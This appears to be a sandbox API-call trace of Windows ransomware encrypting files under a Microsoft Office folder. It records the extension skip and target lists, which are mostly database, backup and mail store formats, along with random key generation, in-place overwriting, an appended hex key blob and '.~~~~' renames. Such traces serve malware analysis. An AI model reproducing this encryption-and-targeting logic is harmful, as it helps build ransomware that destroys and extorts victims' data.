	[0145.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0145.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800e8
	[0145.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800e8 | out: hHeap=0x300000) returned 1
	[0145.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0018
	[0145.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.733] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6d00
	[0145.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0018 | out: hHeap=0x300000) returned 1
	[0145.733] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0145.733] GetLastError () returned 0x0
	[0145.734] GetLastError () returned 0x0
	[0145.734] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0145.734] GetLastError () returned 0x0
	[0145.734] GetLastError () returned 0x0
	[0145.734] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x99, lpOverlapped=0x0) returned 1
	[0145.735] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff67, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.735] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x99, lpOverlapped=0x0) returned 1
	[0145.735] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0145.735] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.735] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.735] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.735] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.736] CloseHandle (hObject=0x138) returned 1
	[0145.736] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0018
	[0145.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Vsdir\\Visfilem.vsdir.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\vsdir\\visfilem.vsdir.~~~~")) returned 1
	[0146.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0018 | out: hHeap=0x300000) returned 1
	[0146.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.103] GetLastError () returned 0x0
	[0146.103] RtlWakeConditionVariable () returned 0x0
	[0146.103] GetCurrentThreadId () returned 0x9f4
	[0146.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".scr") returned 0x0
	[0146.103] lstrlenW (lpString=".cmd") returned 4
	[0146.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".cmd") returned 0x0
	[0146.103] lstrlenW (lpString=".dll") returned 4
	[0146.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dll") returned 0x0
	[0146.103] lstrlenW (lpString=".bat") returned 4
	[0146.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".bat") returned 0x0
	[0146.103] lstrlenW (lpString=".cpl") returned 4
	[0146.103] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".cpl") returned 0x0
	[0146.103] lstrlenW (lpString=".sys") returned 4
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".sys") returned 0x0
	[0146.104] lstrlenW (lpString=".msc") returned 4
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".msc") returned 0x0
	[0146.104] lstrlenW (lpString=".com") returned 4
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".com") returned 0x0
	[0146.104] lstrlenW (lpString=".lnk") returned 4
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".lnk") returned 0x0
	[0146.104] lstrlenW (lpString=".msp") returned 4
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".msp") returned 0x0
	[0146.104] lstrlenW (lpString=".pif") returned 4
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".pif") returned 0x0
	[0146.104] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0146.106] lstrlenW (lpString=".sqb") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".sqb") returned 0x0
	[0146.106] lstrlenW (lpString=".ost") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".ost") returned 0x0
	[0146.106] lstrlenW (lpString=".txt") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".txt") returned 0x0
	[0146.106] lstrlenW (lpString=".mdt") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".mdt") returned 0x0
	[0146.106] lstrlenW (lpString=".BDB") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".BDB") returned 0x0
	[0146.106] lstrlenW (lpString=".eql") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".eql") returned 0x0
	[0146.106] lstrlenW (lpString=".DBF") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DBF") returned 0x0
	[0146.106] lstrlenW (lpString=".EQL") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".EQL") returned 0x0
	[0146.106] lstrlenW (lpString=".FDB") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".FDB") returned 0x0
	[0146.106] lstrlenW (lpString=".EDB") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".EDB") returned 0x0
	[0146.106] lstrlenW (lpString=".DACPAC") returned 7
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.106] lstrlenW (lpString=".VHD") returned 4
	[0146.106] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".VHD") returned 0x0
	[0146.107] lstrlenW (lpString=".DBV") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DBV") returned 0x0
	[0146.107] lstrlenW (lpString=".dacpac") returned 7
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0146.107] lstrlenW (lpString=".sdf") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".sdf") returned 0x0
	[0146.107] lstrlenW (lpString=".accdb") returned 6
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".accdb") returned 0x0
	[0146.107] lstrlenW (lpString=".DBX") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DBX") returned 0x0
	[0146.107] lstrlenW (lpString=".MDT") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".MDT") returned 0x0
	[0146.107] lstrlenW (lpString=".SQB") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".SQB") returned 0x0
	[0146.107] lstrlenW (lpString=".vhd") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".vhd") returned 0x0
	[0146.107] lstrlenW (lpString=".bac") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".bac") returned 0x0
	[0146.107] lstrlenW (lpString=".mdf") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".mdf") returned 0x0
	[0146.107] lstrlenW (lpString=".BAK") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".BAK") returned 0x0
	[0146.107] lstrlenW (lpString=".BAC") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".BAC") returned 0x0
	[0146.107] lstrlenW (lpString=".dbs") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dbs") returned 0x0
	[0146.107] lstrlenW (lpString=".vhdx") returned 5
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0146.107] lstrlenW (lpString=".NDF") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".NDF") returned 0x0
	[0146.107] lstrlenW (lpString=".dat") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dat") returned 0x0
	[0146.107] lstrlenW (lpString=".DBS") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DBS") returned 0x0
	[0146.107] lstrlenW (lpString=".CKP") returned 4
	[0146.107] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".CKP") returned 0x0
	[0146.108] lstrlenW (lpString=".edb") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".edb") returned 0x0
	[0146.108] lstrlenW (lpString=".PST") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".PST") returned 0x0
	[0146.108] lstrlenW (lpString=".dbf") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dbf") returned 0x0
	[0146.108] lstrlenW (lpString=".SQL") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".SQL") returned 0x0
	[0146.108] lstrlenW (lpString=".pst") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".pst") returned 0x0
	[0146.108] lstrlenW (lpString=".dbv") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dbv") returned 0x0
	[0146.108] lstrlenW (lpString=".SDF") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".SDF") returned 0x0
	[0146.108] lstrlenW (lpString=".dtxs") returned 5
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0146.108] lstrlenW (lpString=".db3") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".db3") returned 0x0
	[0146.108] lstrlenW (lpString=".OST") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".OST") returned 0x0
	[0146.108] lstrlenW (lpString=".dbx") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dbx") returned 0x0
	[0146.108] lstrlenW (lpString=".DB3") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DB3") returned 0x0
	[0146.108] lstrlenW (lpString=".DAT") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DAT") returned 0x0
	[0146.108] lstrlenW (lpString=".VHDX") returned 5
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".VHDX") returned 0x0
	[0146.108] lstrlenW (lpString=".ndf") returned 4
	[0146.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".ndf") returned 0x0
	[0146.108] lstrlenW (lpString=".DB") returned 3
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DB") returned 0x0
	[0146.109] lstrlenW (lpString=".sql") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".sql") returned 0x0
	[0146.109] lstrlenW (lpString=".MYD") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".MYD") returned 0x0
	[0146.109] lstrlenW (lpString=".DBT") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DBT") returned 0x0
	[0146.109] lstrlenW (lpString=".ACCDB") returned 6
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.109] lstrlenW (lpString=".fdb") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".fdb") returned 0x0
	[0146.109] lstrlenW (lpString=".bak") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".bak") returned 0x0
	[0146.109] lstrlenW (lpString=".myd") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".myd") returned 0x0
	[0146.109] lstrlenW (lpString=".DTXS") returned 5
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".DTXS") returned 0x0
	[0146.109] lstrlenW (lpString=".ckp") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".ckp") returned 0x0
	[0146.109] lstrlenW (lpString=".dbt") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".dbt") returned 0x0
	[0146.109] lstrlenW (lpString=".db") returned 3
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".db") returned 0x0
	[0146.109] lstrlenW (lpString=".TXT") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".TXT") returned 0x0
	[0146.109] lstrlenW (lpString=".MDF") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".MDF") returned 0x0
	[0146.109] lstrlenW (lpString=".bdb") returned 4
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".bdb") returned 0x0
	[0146.109] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.109] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0146.110] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395b80) returned 1
	[0146.110] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0146.110] CryptReleaseContext (hProv=0x395b80, dwFlags=0x0) returned 1
	[0146.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.111] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26610084810) returned 1
	[0146.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc07e6930, dwHighDateTime=0x1d60e1e)) 
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a1f08
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a1f08 | out: hHeap=0x300000) returned 1
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0146.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.111] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.111] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0146.111] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.112] GetLastError () returned 0x0
	[0146.112] GetLastError () returned 0x0
	[0146.112] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.112] GetLastError () returned 0x0
	[0146.112] GetLastError () returned 0x0
	[0146.112] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.116] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.117] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.118] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.118] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.121] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.121] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.121] CloseHandle (hObject=0x138) returned 1
	[0146.121] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.~~~~")) returned 1
	[0146.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28704c8 | out: hHeap=0x300000) returned 1
	[0146.123] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.123] GetLastError () returned 0x0
	[0146.124] RtlWakeConditionVariable () returned 0x0
	[0146.124] GetCurrentThreadId () returned 0x9f4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0146.124] lstrlenW (lpString=".cmd") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0146.124] lstrlenW (lpString=".dll") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0146.124] lstrlenW (lpString=".bat") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0146.124] lstrlenW (lpString=".cpl") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0146.124] lstrlenW (lpString=".sys") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0146.124] lstrlenW (lpString=".msc") returned 4
	[0146.124] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
